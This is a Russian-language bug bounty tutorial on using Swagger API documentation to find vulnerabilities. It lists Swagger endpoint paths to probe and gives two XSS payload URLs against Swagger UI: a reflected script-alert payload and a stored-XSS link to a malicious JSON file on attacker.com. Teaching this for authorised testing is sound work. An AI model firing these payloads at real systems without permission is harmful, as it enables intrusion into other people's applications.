API, Bug Bounty, Bug Hunting, Swagger API, XSS, XSS Reflected, XSS Stored

#37 Bug Bounty v.2 — Документация по API. Swagger API. XSS

Здравствуйте, дорогие друзья.

Подавляющее большинство уязвимостей, которые я нахожу в API, являются результатом конструктивных ошибок. Если у вас есть доступ к документации по API, их довольно легко найти. Например, предположим, что существует конечная точка сброса пароля, которая принимает идентификатор пользователя и новый пароль в качестве входных данных. Прямо сейчас вы, возможно, думаете, что мне следует проверить IDOR, чтобы узнать, могу ли я сбросить пароли других пользователей, и это было бы правильно. Эти типы конструктивных недостатков относительно легко обнаружить, если у вас есть документация по API, в которой перечислены все доступные конечные точки и их параметры. Другой вариант — вручную проверить трафик, чтобы найти эту конечную точку, но наличие доументации по API значительно упрощает задачу.

Swagger API

Swagger — очень популярный язык документации по API для описания RESTful API выраженный с помощью JSON. Если я вижу приложение, использующее REST API, я обычно начинаю искать конечные точки swagger, как показано ниже:

● /api

● /swagger/index.html

● /swagger/v1/swagger.json

● /swagger-ui.html

● /swagger-resources

swagger api

Как показано выше, в документации swagger указаны имя, путь и аргументы для каждого возможного вызова api. При тестировании функциональности api это золотая жила. Нажатие на запрос расширит его, и вы сможете выполнить все свои тесты прямо там, как показано ниже.:

небезопасный редирект

Увидев изображение выше, я сразу же подумываю протестировать небезопасный редирект из-за наличия параметра redirect. Обычно, просматривая документацию, я ищу недостатки в дизайне, проблемы с аутентификацией и топ-10 OWASP. Я лично обнаружил скрытые возможности сброса паролей, которые легко обойти, скрытые функции администратора, позволяющие управлять всем сайтом без проверки подлинности, внедрение sql и многое другое.

XSS

Swagger — популярный инструмент, поэтому в нем обязательно должны быть какие-то известные эксплойты. Я лично обнаружил отраженный XSS в нескольких конечных точках swagger во время тестирования. Некоторое время назад кто-то обнаружил ошибку XSS в параметре url, как показано ниже:

http://your-swagger-url/?url=%3Cscript%3Ealert(atob(%22SGVyZSBpcyB0aGUgWFNT%22))%3C/script%3

https://github.com/swagger-api/swagger-ui/issues/1262

Вы также можете получить постоянный XSS, если предоставите ему вредоносный файл для анализа, как показано ниже:

http://your-swagger-url/?url=https://attacker.com/xsstest.json

https://github.com/swagger-api/swagger-ui/issues/3847

swagger 2.0

На этом все. Всем хорошего дня!

Цикл статей по Bug Bounty.